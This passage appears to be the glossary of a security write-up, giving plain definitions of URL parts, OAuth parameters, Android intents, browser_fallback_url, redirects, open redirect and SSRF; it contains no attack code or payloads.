/authorize. - Query string: the part of a URL after the
?, made ofname=valuepairs. - Parameter: one
name=valuepair in a query string. client_id: the name an application uses to identify itself to the provider.state: a value the client sends and the provider echoes back, used to keep track of a request.- Hostname: the part of a URL that names the server, such as
example.com. - Scheme: the part of a URL before
://, such ashttp,httpsorintent. - Path: the part of a URL after the hostname, such as
/cb. - Fragment: the part of a URL after
#. new URL(): a JavaScript function that breaks a URL string into its pieces.- Parser: a piece of code that reads a string and works out its structure.
- Intent: an Android object one app uses to tell another app what to open or do.
- Intent scheme: the text format for writing an Intent as a link.
- PWA: a Progressive Web App, a website that can be installed on a phone and behave a bit like an app.
- Custom URL scheme: a scheme an app registers so links starting with it open that app.
- Extra: a named value attached to an Intent for the receiving app.
- Bundle: a bag of named values in Android.
browser_fallback_url: a Chrome-defined extra that tells the browser where to go when no app can handle an intent.- Delimiter: a character that marks where one thing ends and the next begins.
encodeURIComponent: a JavaScript function that makes a string safe to put inside a URL by replacing special characters with%codes.- WHATWG URL Standard: the modern rulebook for reading URLs, followed by browsers and Node.
- RFC 3986: the older rulebook for URIs.
- Authority component: the part of a URL that holds the hostname, and sometimes a username and port.
- WebKit: the engine inside Safari that renders pages and reads URLs.
- Header: a small piece of information a server sends along with a response.
Locationheader: the header that tells the browser to go to another address.- 3xx response: a redirect response.
- Open redirect: when a site will send you to any address you name.
- N/A: "not applicable", a status used when a report is judged not to be a real attack.
- Regex: a pattern for matching text.
- Severity: how serious a bug is judged to be.
- SSRF: server-side request forgery, when an attacker makes a server send requests to places it should not.